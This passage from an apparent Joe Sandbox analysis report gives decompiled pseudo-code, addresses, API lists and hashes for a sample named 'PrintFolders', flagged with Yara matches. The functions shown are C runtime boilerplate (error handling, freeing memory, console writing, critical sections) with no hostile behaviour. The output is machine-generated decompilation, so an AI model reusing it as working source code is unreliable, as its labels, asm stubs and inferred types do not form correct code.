                                                          							__eflags = E0041E7DF(__eflags,  *0x43d1c8, _t18);
                                                          							if(__eflags != 0) {
                                                          								E0041C991(_t18, 0x4508d8);
                                                          								E0041E2B8(0);
                                                          								goto L13;
                                                          							} else {
                                                          								_t13 = 0;
                                                          								E0041E7DF(__eflags,  *0x43d1c8, 0);
                                                          								_push(_t18);
                                                          								goto L9;
                                                          							}
                                                          						} else {
                                                          							_t13 = 0;
                                                          							__eflags = 0;
                                                          							E0041E7DF(0,  *0x43d1c8, 0);
                                                          							_push(0);
                                                          							L9:
                                                          							E0041E2B8();
                                                          							goto L4;
                                                          						}
                                                          					}
                                                          				} else {
                                                          					_t18 = E0041E7A0(_t24, _t2);
                                                          					if(_t18 == 0) {
                                                          						_t2 =  *0x43d1c8; // 0x7
                                                          						goto L6;
                                                          					} else {
                                                          						if(_t18 != 0xffffffff) {
                                                          							L13:
                                                          							_t13 = _t18;
                                                          						} else {
                                                          							L3:
                                                          							_t13 = 0;
                                                          							L4:
                                                          							_t18 = _t13;
                                                          						}
                                                          					}
                                                          				}
                                                          				SetLastError(_t21);
                                                          				asm("sbb edi, edi");
                                                          				return  ~_t18 & _t13;
                                                          			}








                                                          0x0041ccc5
                                                          0x0041ccc7
                                                          0x0041cccc
                                                          0x0041cccf
                                                          0x0041cced
                                                          0x0041ccf0
                                                          0x0041ccf5
                                                          0x0041ccf7
                                                          0x00000000
                                                          0x0041ccf9
                                                          0x0041cd05
                                                          0x0041cd09
                                                          0x0041cd0b
                                                          0x0041cd30
                                                          0x0041cd32
                                                          0x0041cd4b
                                                          0x0041cd52
                                                          0x00000000
                                                          0x0041cd34
                                                          0x0041cd34
                                                          0x0041cd3d
                                                          0x0041cd42
                                                          0x00000000
                                                          0x0041cd42
                                                          0x0041cd0d
                                                          0x0041cd0d
                                                          0x0041cd0d
                                                          0x0041cd16
                                                          0x0041cd1b
                                                          0x0041cd1c
                                                          0x0041cd1c
                                                          0x00000000
                                                          0x0041cd21
                                                          0x0041cd0b
                                                          0x0041ccd1
                                                          0x0041ccd7
                                                          0x0041ccdb
                                                          0x0041cce8
                                                          0x00000000
                                                          0x0041ccdd
                                                          0x0041cce0
                                                          0x0041cd5a
                                                          0x0041cd5a
                                                          0x0041cce2
                                                          0x0041cce2
                                                          0x0041cce2
                                                          0x0041cce4
                                                          0x0041cce4
                                                          0x0041cce4
                                                          0x0041cce0
                                                          0x0041ccdb
                                                          0x0041cd5d
                                                          0x0041cd65
                                                          0x0041cd6e

                                                          APIs
                                                          • GetLastError.KERNEL32(?,?,?,004135F6,0041ED72,?,?,0040FF9B,?,?,?,?,?,00403757,?,?), ref: 0041CCBF
                                                          • _free.LIBCMT ref: 0041CD1C
                                                          • _free.LIBCMT ref: 0041CD52
                                                          • SetLastError.KERNEL32(00000000,00000007,000000FF,?,0040FF9B,?,?,?,?,?,00403757,?,?,?), ref: 0041CD5D
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: ErrorLast_free
                                                          • String ID:
                                                          • API String ID: 2283115069-0
                                                          • Opcode ID: e8b5fd6ac6bcdbc63dd879f339bbd85be9c8e0b1b4a1cafcd1e0970895d8910c
                                                          • Instruction ID: 9b62fba310747dd0c1bf6bb4efed2382b058d2b05c29c2c7201b5ba533af619d
                                                          • Opcode Fuzzy Hash: e8b5fd6ac6bcdbc63dd879f339bbd85be9c8e0b1b4a1cafcd1e0970895d8910c
                                                          • Instruction Fuzzy Hash: C011AC367442006BDB11277B6CC5DE72659ABC1779724023BF92C931D1ED6D8CC2456D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 85%
                                                          			E10007D03(void* __ecx) {
                                                          				intOrPtr _t2;
                                                          				signed int _t3;
                                                          				signed int _t13;
                                                          				signed int _t18;
                                                          				long _t21;
                                                          
                                                          				_t21 = GetLastError();
                                                          				_t2 =  *0x10017100; // 0xa
                                                          				_t24 = _t2 - 0xffffffff;
                                                          				if(_t2 == 0xffffffff) {
                                                          					L6:
                                                          					_t3 = E100082D2(__eflags, _t2, 0xffffffff);
                                                          					__eflags = _t3;
                                                          					if(_t3 == 0) {
                                                          						goto L3;
                                                          					} else {
                                                          						_t18 = E10008BFC(1, 0x364);
                                                          						__eflags = _t18;
                                                          						if(__eflags != 0) {
                                                          							__eflags = E100082D2(__eflags,  *0x10017100, _t18);
                                                          							if(__eflags != 0) {
                                                          								E100079AE(_t18, 0x10018108);
                                                          								E10008701(0);
                                                          								goto L13;
                                                          							} else {
                                                          								_t13 = 0;
                                                          								E100082D2(__eflags,  *0x10017100, 0);
                                                          								_push(_t18);
                                                          								goto L9;
                                                          							}
                                                          						} else {
                                                          							_t13 = 0;
                                                          							__eflags = 0;
                                                          							E100082D2(0,  *0x10017100, 0);
                                                          							_push(0);
                                                          							L9:
                                                          							E10008701();
                                                          							goto L4;
                                                          						}
                                                          					}
                                                          				} else {
                                                          					_t18 = E10008293(_t24, _t2);
                                                          					if(_t18 == 0) {
                                                          						_t2 =  *0x10017100; // 0xa
                                                          						goto L6;
                                                          					} else {
                                                          						if(_t18 != 0xffffffff) {
                                                          							L13:
                                                          							_t13 = _t18;
                                                          						} else {
                                                          							L3:
                                                          							_t13 = 0;
                                                          							L4:
                                                          							_t18 = _t13;
                                                          						}
                                                          					}
                                                          				}
                                                          				SetLastError(_t21);
                                                          				asm("sbb edi, edi");
                                                          				return  ~_t18 & _t13;
                                                          			}








                                                          0x10007d0e
                                                          0x10007d10
                                                          0x10007d15
                                                          0x10007d18
                                                          0x10007d36
                                                          0x10007d39
                                                          0x10007d3e
                                                          0x10007d40
                                                          0x00000000
                                                          0x10007d42
                                                          0x10007d4e
                                                          0x10007d52
                                                          0x10007d54
                                                          0x10007d79
                                                          0x10007d7b
                                                          0x10007d94
                                                          0x10007d9b
                                                          0x00000000
                                                          0x10007d7d
                                                          0x10007d7d
                                                          0x10007d86
                                                          0x10007d8b
                                                          0x00000000
                                                          0x10007d8b
                                                          0x10007d56
                                                          0x10007d56
                                                          0x10007d56
                                                          0x10007d5f
                                                          0x10007d64
                                                          0x10007d65
                                                          0x10007d65
                                                          0x00000000
                                                          0x10007d6a
                                                          0x10007d54
                                                          0x10007d1a
                                                          0x10007d20
                                                          0x10007d24
                                                          0x10007d31
                                                          0x00000000
                                                          0x10007d26
                                                          0x10007d29
                                                          0x10007da3
                                                          0x10007da3
                                                          0x10007d2b
                                                          0x10007d2b
                                                          0x10007d2b
                                                          0x10007d2d
                                                          0x10007d2d
                                                          0x10007d2d
                                                          0x10007d29
                                                          0x10007d24
                                                          0x10007da6
                                                          0x10007dae
                                                          0x10007db7

                                                          APIs
                                                          • GetLastError.KERNEL32(?,?,?,1000640B,10008727,?,?,100074AC), ref: 10007D08
                                                          • _free.LIBCMT ref: 10007D65
                                                          • _free.LIBCMT ref: 10007D9B
                                                          • SetLastError.KERNEL32(00000000,0000000A,000000FF,?,?,1000640B,10008727,?,?,100074AC), ref: 10007DA6
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.382027738.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000002.00000002.382023656.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382041699.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382053662.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382059437.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_10000000_PrintFolders.jbxd
                                                          Similarity
                                                          • API ID: ErrorLast_free
                                                          • String ID:
                                                          • API String ID: 2283115069-0
                                                          • Opcode ID: a1b51e29a2483d9d067290d82e8b33bd0401e2047f5f7481da3912e5413e3180
                                                          • Instruction ID: 68182e47bee727d8c9ea21c39a6ce122361ce54ca7b3a3919661bbd41b246de3
                                                          • Opcode Fuzzy Hash: a1b51e29a2483d9d067290d82e8b33bd0401e2047f5f7481da3912e5413e3180
                                                          • Instruction Fuzzy Hash: 38110476B04615BAF212D7788CC1D2B26BAFFC02F0B314226F56C821EEDE75ED514221
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          APIs
                                                          • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0043F04D
                                                          • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0043F066
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: Value___vcrt_
                                                          • String ID:
                                                          • API String ID: 1426506684-0
                                                          • Opcode ID: bbd0fb90c6f543932e03e6b2f5c9411f0a441a56121ea3fd60b0444541a7708f
                                                          • Instruction ID: 2f914ca0b150f54681f4df5d10c51623e56e86357141abab0502ee71ee4cbc58
                                                          • Opcode Fuzzy Hash: bbd0fb90c6f543932e03e6b2f5c9411f0a441a56121ea3fd60b0444541a7708f
                                                          • Instruction Fuzzy Hash: 80012D33D083119DA62967BDBC855AB2B65DB1C378F20133FF620902F2EF594C19914C
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E0042B7F2(void* _a4, long _a8, DWORD* _a12) {
                                                          				void* _t13;
                                                          
                                                          				_t13 = WriteConsoleW( *0x43da90, _a4, _a8, _a12, 0);
                                                          				if(_t13 == 0 && GetLastError() == 6) {
                                                          					E0042B7DB();
                                                          					E0042B79D();
                                                          					_t13 = WriteConsoleW( *0x43da90, _a4, _a8, _a12, _t13);
                                                          				}
                                                          				return _t13;
                                                          			}




                                                          0x0042b80f
                                                          0x0042b813
                                                          0x0042b820
                                                          0x0042b825
                                                          0x0042b840
                                                          0x0042b840
                                                          0x0042b846

                                                          APIs
                                                          • WriteConsoleW.KERNEL32(00000000,0000000C,00000000,00000000,00000000,?,0042A4F6,00000000,00000001,00000000,00000000,?,00420B92,?,00000000,00000000), ref: 0042B809
                                                          • GetLastError.KERNEL32(?,0042A4F6,00000000,00000001,00000000,00000000,?,00420B92,?,00000000,00000000,?,00000000,?,004210DE,?), ref: 0042B815
                                                            • Part of subcall function 0042B7DB: CloseHandle.KERNEL32(FFFFFFFE,0042B825,?,0042A4F6,00000000,00000001,00000000,00000000,?,00420B92,?,00000000,00000000,?,00000000), ref: 0042B7EB
                                                          • ___initconout.LIBCMT ref: 0042B825
                                                            • Part of subcall function 0042B79D: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0042B7CC,0042A4E3,00000000,?,00420B92,?,00000000,00000000,?), ref: 0042B7B0
                                                          • WriteConsoleW.KERNEL32(00000000,0000000C,00000000,00000000,?,0042A4F6,00000000,00000001,00000000,00000000,?,00420B92,?,00000000,00000000,?), ref: 0042B83A
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
                                                          • String ID:
                                                          • API String ID: 2744216297-0
                                                          • Opcode ID: 3771de78c200026101a5c29d47a2f31da0f5e9a11cf076d30a3b181c11986b3a
                                                          • Instruction ID: ac75466029322dda25ac2c1e9c6ff5057a4b7c88608daf2fa63318e0ae8d8abe
                                                          • Opcode Fuzzy Hash: 3771de78c200026101a5c29d47a2f31da0f5e9a11cf076d30a3b181c11986b3a
                                                          • Instruction Fuzzy Hash: 98F03736600129BBCF222FD2EC05D9A3F26FB443B0B444025F90D96531C73288709BD9
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E1000E591(void* _a4, long _a8, DWORD* _a12) {
                                                          				void* _t13;
                                                          
                                                          				_t13 = WriteConsoleW( *0x10017850, _a4, _a8, _a12, 0);
                                                          				if(_t13 == 0 && GetLastError() == 6) {
                                                          					E1000E57A();
                                                          					E1000E53C();
                                                          					_t13 = WriteConsoleW( *0x10017850, _a4, _a8, _a12, _t13);
                                                          				}
                                                          				return _t13;
                                                          			}




                                                          0x1000e5ae
                                                          0x1000e5b2
                                                          0x1000e5bf
                                                          0x1000e5c4
                                                          0x1000e5df
                                                          0x1000e5df
                                                          0x1000e5e5

                                                          APIs
                                                          • WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,1000D988,?,00000001,?,00000001,?,1000C4AB,?,?,00000001), ref: 1000E5A8
                                                          • GetLastError.KERNEL32(?,1000D988,?,00000001,?,00000001,?,1000C4AB,?,?,00000001,?,00000001,?,1000C9F7,10008E0A), ref: 1000E5B4
                                                            • Part of subcall function 1000E57A: CloseHandle.KERNEL32(FFFFFFFE,1000E5C4,?,1000D988,?,00000001,?,00000001,?,1000C4AB,?,?,00000001,?,00000001), ref: 1000E58A
                                                          • ___initconout.LIBCMT ref: 1000E5C4
                                                            • Part of subcall function 1000E53C: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,1000E56B,1000D975,00000001,?,1000C4AB,?,?,00000001,?), ref: 1000E54F
                                                          • WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,1000D988,?,00000001,?,00000001,?,1000C4AB,?,?,00000001,?), ref: 1000E5D9
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.382027738.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000002.00000002.382023656.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382041699.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382053662.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382059437.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_10000000_PrintFolders.jbxd
                                                          Similarity
                                                          • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
                                                          • String ID:
                                                          • API String ID: 2744216297-0
                                                          • Opcode ID: db033fb1b874636e85d330483b63d37f63c04bcfd1e8b3716c06f70c47e2a96d
                                                          • Instruction ID: b377c5219626dc8a0c0ad289bd514fd869925b16e60f045967f437c28a647ed1
                                                          • Opcode Fuzzy Hash: db033fb1b874636e85d330483b63d37f63c04bcfd1e8b3716c06f70c47e2a96d
                                                          • Instruction Fuzzy Hash: F4F03036540569BBEF12AFA1CC49A8A3F66FB083E1F018410FE48A5131DA32CD20DBE0
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 50%
                                                          			E0040EFD1(long _a4) {
                                                          				long _t3;
                                                          				intOrPtr* _t7;
                                                          
                                                          				_t7 =  *0x450514;
                                                          				if(_t7 == 0) {
                                                          					LeaveCriticalSection(0x4504fc);
                                                          					_t3 = WaitForSingleObjectEx( *0x4504f8, _a4, 0);
                                                          					EnterCriticalSection(0x4504fc);
                                                          					return _t3;
                                                          				}
                                                          				 *0x42e234(0x4504f4, 0x4504fc, _a4);
                                                          				return  *_t7();
                                                          			}





                                                          0x0040efd5
                                                          0x0040efdd
                                                          0x0040effe
                                                          0x0040f00f
                                                          0x0040f016
                                                          0x00000000
                                                          0x0040f016
                                                          0x0040efee
                                                          0x00000000

                                                          APIs
                                                          • SleepConditionVariableCS.KERNELBASE(?,0040EF6D,00000064), ref: 0040EFF4
                                                          • LeaveCriticalSection.KERNEL32(004504FC,004063FC,?,0040EF6D,00000064,?,?,004063FC,00450F60,00450F64,00450F65), ref: 0040EFFE
                                                          • WaitForSingleObjectEx.KERNEL32(004063FC,00000000,?,0040EF6D,00000064,?,?,004063FC,00450F60,00450F64,00450F65), ref: 0040F00F
                                                          • EnterCriticalSection.KERNEL32(004504FC,?,0040EF6D,00000064,?,?,004063FC,00450F60,00450F64,00450F65), ref: 0040F016
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
                                                          • String ID:
                                                          • API String ID: 3269011525-0
                                                          • Opcode ID: f64a1fe2d3c08a56fcd9346185c77cb8d93b1cbc53ddc582fa2c2fd8cd520f41
                                                          • Instruction ID: 4c9c1218df18ba92a0a868e9c99513ef249696396432c8a4148075b9a22993ac
                                                          • Opcode Fuzzy Hash: f64a1fe2d3c08a56fcd9346185c77cb8d93b1cbc53ddc582fa2c2fd8cd520f41
                                                          • Instruction Fuzzy Hash: 0AE09235681225FBCA212B51EC08A9E7F18AF06752B004032FE0566262CB7568119BDD
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E0041AC67() {
                                                          
                                                          				E0041E2B8( *0x450bd0);
                                                          				 *0x450bd0 = 0;
                                                          				E0041E2B8( *0x450bd4);
                                                          				 *0x450bd4 = 0;
                                                          				E0041E2B8( *0x450cd0);
                                                          				 *0x450cd0 = 0;
                                                          				E0041E2B8( *0x450cd4);
                                                          				 *0x450cd4 = 0;
                                                          				return 1;
                                                          			}



                                                          0x0041ac70
                                                          0x0041ac7d
                                                          0x0041ac83
                                                          0x0041ac8e
                                                          0x0041ac94
                                                          0x0041ac9f
                                                          0x0041aca5
                                                          0x0041acad
                                                          0x0041acb6

                                                          APIs
                                                          • _free.LIBCMT ref: 0041AC70
                                                            • Part of subcall function 0041E2B8: HeapFree.KERNEL32(00000000,00000000,?,00425D87,?,00000000,?,?,?,0042602A,?,00000007,?,?,0042651D,?), ref: 0041E2CE
                                                            • Part of subcall function 0041E2B8: GetLastError.KERNEL32(?,?,00425D87,?,00000000,?,?,?,0042602A,?,00000007,?,?,0042651D,?,?), ref: 0041E2E0
                                                          • _free.LIBCMT ref: 0041AC83
                                                          • _free.LIBCMT ref: 0041AC94
                                                          • _free.LIBCMT ref: 0041ACA5
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: _free$ErrorFreeHeapLast
                                                          • String ID:
                                                          • API String ID: 776569668-0
                                                          • Opcode ID: 7600757227941bb7c95799b95531e21e679b1f58566f426ab12c79b805c51534
                                                          • Instruction ID: 302bd469a5a2dc94dd6d614bbecc9892323fc590e190cb025f464d2d07f9e9ff
                                                          • Opcode Fuzzy Hash: 7600757227941bb7c95799b95531e21e679b1f58566f426ab12c79b805c51534
                                                          • Instruction Fuzzy Hash: F8E04F7F410360BF960A2F56BC51685BA25B75570AB4002ABFC0436233CB759051AB8D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E100075A4() {
                                                          
                                                          				E10008701( *0x100180fc);
                                                          				 *0x100180fc = 0;
                                                          				E10008701( *0x10018100);
                                                          				 *0x10018100 = 0;
                                                          				E10008701( *0x10018330);
                                                          				 *0x10018330 = 0;
                                                          				E10008701( *0x10018334);
                                                          				 *0x10018334 = 0;
                                                          				return 1;
                                                          			}



                                                          0x100075ad
                                                          0x100075ba
                                                          0x100075c0
                                                          0x100075cb
                                                          0x100075d1
                                                          0x100075dc
                                                          0x100075e2
                                                          0x100075ea
                                                          0x100075f3

                                                          APIs
                                                          • _free.LIBCMT ref: 100075AD
                                                            • Part of subcall function 10008701: RtlFreeHeap.NTDLL(00000000,00000000,?,100074AC), ref: 10008717
                                                            • Part of subcall function 10008701: GetLastError.KERNEL32(?,?,100074AC), ref: 10008729
                                                          • _free.LIBCMT ref: 100075C0
                                                          • _free.LIBCMT ref: 100075D1
                                                          • _free.LIBCMT ref: 100075E2
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.382027738.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000002.00000002.382023656.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382041699.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382053662.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382059437.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_10000000_PrintFolders.jbxd
                                                          Similarity
                                                          • API ID: _free$ErrorFreeHeapLast
                                                          • String ID:
                                                          • API String ID: 776569668-0
                                                          • Opcode ID: 560e9729131f36da597d803f7365e1613d92c0d7e1160fc99f91f24202a3e63e
                                                          • Instruction ID: 11fb011ea0374647b44fdc306d41bcbb37fa874d581b786af2f79b002bb734ee
                                                          • Opcode Fuzzy Hash: 560e9729131f36da597d803f7365e1613d92c0d7e1160fc99f91f24202a3e63e
                                                          • Instruction Fuzzy Hash: 82E0EC79825130EBFB52AF149CC28493E66FB58B803A5C00AF86812239D732D7529FA5
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 41%
                                                          			E00403B40(void* __ebx, intOrPtr* __ecx, void* __edx, void* __edi) {
                                                          				intOrPtr _v8;
                                                          				char _v16;
                                                          				char _v24;
                                                          				signed int _v32;
                                                          				char _v36;
                                                          				char _v40;
                                                          				char _v44;
                                                          				intOrPtr _v48;
                                                          				char _v52;
                                                          				char _v68;
                                                          				intOrPtr _v72;
                                                          				char _v76;
                                                          				char _v92;
                                                          				intOrPtr _v96;
                                                          				void* _v116;
                                                          				signed int _v132;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				signed int _t71;
                                                          				signed int _t72;
                                                          				intOrPtr _t81;
                                                          				intOrPtr* _t87;
                                                          				intOrPtr _t96;
                                                          				void* _t109;
                                                          				void* _t111;
                                                          				char _t115;
                                                          				char _t118;
                                                          				intOrPtr* _t127;
                                                          				intOrPtr _t128;
                                                          				intOrPtr _t133;
                                                          				intOrPtr _t134;
                                                          				void* _t136;
                                                          				void* _t137;
                                                          				intOrPtr* _t141;
                                                          				void* _t142;
                                                          				intOrPtr* _t144;
                                                          				intOrPtr _t145;
                                                          				void* _t146;
                                                          				intOrPtr* _t147;
                                                          				signed int _t151;
                                                          				void* _t155;
                                                          				signed int _t158;
                                                          				void* _t159;
                                                          
                                                          				_push(__ebx);
                                                          				_t111 = _t155;
                                                          				_t158 = (_t155 - 0x00000008 & 0xfffffff8) + 4;
                                                          				_v8 =  *((intOrPtr*)(_t111 + 4));
                                                          				_t151 = _t158;
                                                          				_push(0xffffffff);
                                                          				_push(0x42c395);
                                                          				_push( *[fs:0x0]);
                                                          				_push(_t111);
                                                          				_t159 = _t158 - 0x58;
                                                          				_t71 =  *0x43d054; // 0x6e36c9b5
                                                          				_t72 = _t71 ^ _t151;
                                                          				_v32 = _t72;
                                                          				_push(__edi);
                                                          				_push(_t72);
                                                          				 *[fs:0x0] =  &_v24;
                                                          				_t141 = __ecx;
                                                          				_v44 = __ecx;
                                                          				_v44 = __ecx;
                                                          				E0040BB90(_t111,  &_v68, __edx, __ecx,  *((intOrPtr*)(_t111 + 8)));
                                                          				_t144 =  *((intOrPtr*)(_t111 + 0x10));
                                                          				_v44 =  *((intOrPtr*)(_t111 + 0xc));
                                                          				_v16 = 0;
                                                          				_t115 = _v52;
                                                          				if(_t115 != 0) {
                                                          					if(_v48 - _t115 < 2) {
                                                          						_v36 = 0;
                                                          						E00402980(_t111,  &_v68, __ecx, _t144, 2, _v36, ": ", 2);
                                                          					} else {
                                                          						_v52 = _t115 + 2;
                                                          						_t109 =  >=  ? _v68 :  &_v68;
                                                          						 *((short*)(_t109 + _t115)) = 0x203a;
                                                          						 *((char*)(_t109 + _t115 + 2)) = 0;
                                                          					}
                                                          				}
                                                          				 *((intOrPtr*)( *_t144 + 8))( &_v92, _v44);
                                                          				_v16 = 1;
                                                          				_t118 = _v76;
                                                          				_t132 =  >=  ? _v92 :  &_v92;
                                                          				_t145 = _v52;
                                                          				_v44 = _t118;
                                                          				_push(_t118);
                                                          				_push( >=  ? _v92 :  &_v92);
                                                          				if(_t118 > _v48 - _t145) {
                                                          					_v44 = 0;
                                                          					_push(_v44);
                                                          					_push(_t118);
                                                          					_t81 = E00402980(_t111,  &_v68, _t141, _t145);
                                                          				} else {
                                                          					_v52 = _t145 + _t118;
                                                          					_t102 =  >=  ? _v68 :  &_v68;
                                                          					_t145 = _t145 + ( >=  ? _v68 :  &_v68);
                                                          					_push(_t145);
                                                          					E004104C0();
                                                          					_t81 = _v44;
                                                          					_t159 = _t159 + 0xc;
                                                          					 *((char*)(_t145 + _t81)) = 0;
                                                          				}
                                                          				_t133 = _v72;
                                                          				if(_t133 < 0x10) {
                                                          					L11:
                                                          					asm("movups xmm1, [ebp-0x38]");
                                                          					 *_t141 = 0x42e2d4;
                                                          					asm("movq xmm0, [ebp-0x28]");
                                                          					asm("movq [ebp-0x58], xmm0");
                                                          					asm("xorps xmm0, xmm0");
                                                          					asm("movd eax, xmm1");
                                                          					asm("movq [edi+0x4], xmm0");
                                                          					asm("movups [ebp-0x68], xmm1");
                                                          					_t121 =  >=  ? _t81 :  &_v116;
                                                          					_v52 = 0;
                                                          					_v48 = 0xf;
                                                          					_v68 = 0;
                                                          					_v40 =  >=  ? _t81 :  &_v116;
                                                          					_v36 = 1;
                                                          					E0040FF71( &_v40, _t141 + 4);
                                                          					_t134 = _v96;
                                                          					_t159 = _t159 + 8;
                                                          					 *_t141 = 0x42e320;
                                                          					if(_t134 < 0x10) {
                                                          						L15:
                                                          						 *_t141 = 0x439c98;
                                                          						 *((intOrPtr*)(_t141 + 0xc)) =  *((intOrPtr*)(_t111 + 0xc));
                                                          						 *((intOrPtr*)(_t141 + 0x10)) =  *((intOrPtr*)(_t111 + 0x10));
                                                          						 *[fs:0x0] = _v24;
                                                          						_pop(_t142);
                                                          						_pop(_t146);
                                                          						return E0040EBBF(_t141, _t111, _v32 ^ _t151,  *((intOrPtr*)(_t111 + 0x10)), _t142, _t146);
                                                          					} else {
                                                          						_t127 = _v116;
                                                          						_t136 = _t134 + 1;
                                                          						_t87 = _t127;
                                                          						if(_t136 < 0x1000) {
                                                          							L14:
                                                          							_push(_t136);
                                                          							E0040EDFF(_t127);
                                                          							goto L15;
                                                          						} else {
                                                          							_t127 =  *((intOrPtr*)(_t127 - 4));
                                                          							_t136 = _t136 + 0x23;
                                                          							if(_t87 - _t127 + 0xfffffffc > 0x1f) {
                                                          								goto L17;
                                                          							} else {
                                                          								goto L14;
                                                          							}
                                                          						}
                                                          					}
                                                          				} else {
                                                          					_t128 = _v92;
                                                          					_t137 = _t133 + 1;
                                                          					_t96 = _t128;
                                                          					if(_t137 < 0x1000) {
                                                          						L10:
                                                          						_push(_t137);
                                                          						_t81 = E0040EDFF(_t128);
                                                          						_t159 = _t159 + 8;
                                                          						goto L11;
                                                          					} else {
                                                          						_t127 =  *((intOrPtr*)(_t128 - 4));
                                                          						_t136 = _t137 + 0x23;
                                                          						if(_t96 - _t127 + 0xfffffffc > 0x1f) {
                                                          							E00413527(_t111, _t136, __eflags);
                                                          							L17:
                                                          							E00413527(_t111, _t136, __eflags);
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							_push(_t151);
                                                          							_push(_t145);
                                                          							_t147 = _t127;
                                                          							 *_t147 = 0x42e2d4;
                                                          							E0040FFD4(_t147 + 4);
                                                          							__eflags = _v132 & 0x00000001;
                                                          							if((_v132 & 0x00000001) != 0) {
                                                          								_push(0x14);
                                                          								E0040EDFF(_t147);
                                                          							}
                                                          							return _t147;
                                                          						} else {
                                                          							goto L10;
                                                          						}
                                                          					}
                                                          				}
                                                          			}














































                                                          0x00403b40
                                                          0x00403b41
                                                          0x00403b49
                                                          0x00403b50
                                                          0x00403b54
                                                          0x00403b56
                                                          0x00403b58
                                                          0x00403b63
                                                          0x00403b64
